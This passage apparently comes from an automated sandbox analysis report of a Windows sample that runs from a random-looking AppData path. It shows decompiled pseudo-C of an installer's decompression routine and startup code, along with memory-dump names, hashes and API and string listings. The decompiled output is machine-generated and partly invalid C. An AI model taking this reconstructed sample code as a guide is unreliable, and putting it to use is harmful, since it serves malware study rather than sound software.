								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction ID: ffbedf2a53f09e030cb941e21afd419a8c3069ec791793070072d3341ca218b9
Opcode Fuzzy Hash: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction Fuzzy Hash: 17F16571D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405CD8, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CD8(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x4224c8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4224c8;
			}

0x00405ce3
0x00405cec
0x00000000
0x00405cf9
0x00405cef
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,004224C8,00421880,004055F4,00421880,00421880,00000000,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 00405CE3
FindClose.KERNEL32(00000000), ref: 00405CEF

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction ID: 9a18407f5d3c0b203e51d924b64f4f6f4a008a27543408caa796c3d3b713bef8
Opcode Fuzzy Hash: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction Fuzzy Hash: 91D0C93594D620ABD6012728AD0884B6A589B153317508B32F46AE22E0C7748C529AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403526, Relevance: 52.7, APIs: 16, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00403526() {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				signed int _t24;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				struct HINSTANCE__* _t37;
				int _t38;
				intOrPtr _t39;
				int _t42;
				intOrPtr _t60;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				signed short _t72;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t86;

				_t81 =  *0x423e90; // 0x5de1a0
				_t20 = E00405CFF(6);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x420478;
					"1033" = 0x7830;
					E004058C4(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420478, 0);
					__eflags =  *0x420478;
					if(__eflags == 0) {
						E004058C4(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407302, 0x420478, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					_t72 =  *_t20(); // executed
					E0040593B("1033", _t72 & 0x0000ffff);
				}
				E004037EF(_t76, _t88);
				_t24 =  *0x423e98; // 0xa1
				_t85 = "C:\\Users\\engineer\\AppData\\Local\\Temp";
				 *0x423f00 = _t24 & 0x00000020;
				 *0x423f1c = 0x10000;
				if(E004055B1(_t88, "C:\\Users\\engineer\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E004055B1(_t96, _t85) == 0) {
						E004059FF(0, _t79, _t81, _t85,  *((intOrPtr*)(_t81 + 0x118)));
					}
					_t28 = LoadImageA( *0x423e80, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423668 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E004037EF(_t76, __eflags);
							__eflags =  *0x423f20; // 0x0
							if(__eflags != 0) {
								_t31 = E00404E4D(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42364c; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420450, 5);
							_t37 = LoadLibraryA("RichEd20");
							__eflags = _t37;
							if(_t37 == 0) {
								LoadLibraryA("RichEd32");
							}
							_t86 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t86, 0x423620);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423620);
								 *0x423644 = _t86;
								RegisterClassA(0x423620);
							}
							_t39 =  *0x423660; // 0x0
							_t42 = DialogBoxParamA( *0x423e80, _t39 + 0x00000069 & 0x0000ffff, 0, E004038BC, 0);
							E00403476(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x423e80; // 0x400000
						 *0x423634 = _t28;
						_v20 = 0x624e5f;
						 *0x423624 = E00401000;
						 *0x423630 = _t76;
						 *0x423644 =  &_v20;
						if(RegisterClassA(0x423620) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420450 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423e80, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t60 =  *0x423eb8; // 0x5e411c
					_t79 = 0x422e20;
					E004058C4( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) + _t60, 0x422e20, 0);
					_t62 =  *0x422e20; // 0x43
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x422e21;
						 *((char*)(E004054FB(0x422e21, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E004059DD(_t85, E004054D0(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E00405517(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x0040352c
0x00403535
0x0040353c
0x0040353e
0x00403552
0x00403564
0x0040356e
0x00403573
0x00403579
0x0040358c
0x0040358c
0x00403597
0x00403540
0x00403540
0x0040354b
0x0040354b
0x0040359c
0x004035a1
0x004035a6
0x004035af
0x004035b4
0x004035c5
0x0040364c
0x00403654
0x0040365d
0x0040365d
0x00403673
0x00403679
0x00403687
0x00403716
0x0040371e
0x00403728
0x0040372d
0x00403733
0x004037bd
0x004037c2
0x004037c4
0x004037e0
0x00000000
0x004037e0
0x004037c6
0x004037cc
0x004037d4
0x004037d4
0x00000000
0x004037cc
0x00403741
0x00403752
0x00403754
0x00403756
0x0040375d
0x0040375d
0x00403765
0x0040376d
0x0040376f
0x00403771
0x0040377a
0x0040377d
0x00403783
0x00403783
0x00403789
0x004037a2
0x004037b3
0x00000000
0x004037b8
0x00403720
0x00403722
0x00000000
0x0040368d
0x0040368d
0x00403693
0x0040369d
0x004036a5
0x004036af
0x004036b5
0x004036c3
0x004037e5
0x004037e5
0x00000000
0x004037e5
0x004036c9
0x004036d2
0x00403711
0x00000000
0x00403711
0x004035cb
0x004035cb
0x004035d0
0x00000000
0x00000000
0x004035d5
0x004035da
0x004035ea
0x004035ef
0x004035f6
0x00000000
0x00000000
0x004035fa
0x004035fc
0x00403609
0x00403609
0x00403611
0x00403617
0x0040363f
0x00403647
0x00000000
0x00403629
0x0040362a
0x00403633
0x00403639
0x0040363a
0x00000000
0x0040363a
0x00403635
0x00403637
0x00000000
0x00000000
0x00000000
0x00403637
0x00403617

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

GetUserDefaultUILanguage.KERNELBASE(00000006,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403540

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

lstrcatA.KERNEL32(1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403597
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ), ref: 0040360C
lstrcmpiA.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000), ref: 0040361F
GetFileAttributesA.KERNEL32(Call), ref: 0040362A
LoadImageA.USER32 ref: 00403673
RegisterClassA.USER32 ref: 004036BA
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 004036D2
CreateWindowExA.USER32 ref: 0040370B
ShowWindow.USER32(00000005,00000000), ref: 00403741
LoadLibraryA.KERNEL32(RichEd20), ref: 00403752
LoadLibraryA.KERNEL32(RichEd32), ref: 0040375D
GetClassInfoA.USER32 ref: 0040376D
GetClassInfoA.USER32 ref: 0040377A
RegisterClassA.USER32 ref: 00403783
DialogBoxParamA.USER32 ref: 004037A2

Strings

RichEd32, xrefs: 00403758
Call, xrefs: 004035DA, 004035E2, 004035EF, 00403639, 0040363F
.DEFAULT\Control Panel\International, xrefs: 00403582
1033, xrefs: 00403546, 00403592
